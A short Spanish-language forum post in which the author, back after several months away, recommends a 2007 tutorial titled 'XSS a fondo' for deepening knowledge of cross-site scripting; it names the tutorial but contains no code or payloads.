Bueno... después de varios meses ausente, por problemas varios... Vuelvo con un tuto bastante antiguo (2007) pero bastante bueno, lo recomiendo al 100% porque todos tenemos noción de los que es un XSS y muchos ya hemos hecho uno... pero en realidad no sabes todo lo que se puede llegar hacer con un XSS, para pulir la técnica dejo aquí un tutorial excelente de una técnica que le queda muchísimo por extinguirse...

XSS a fondo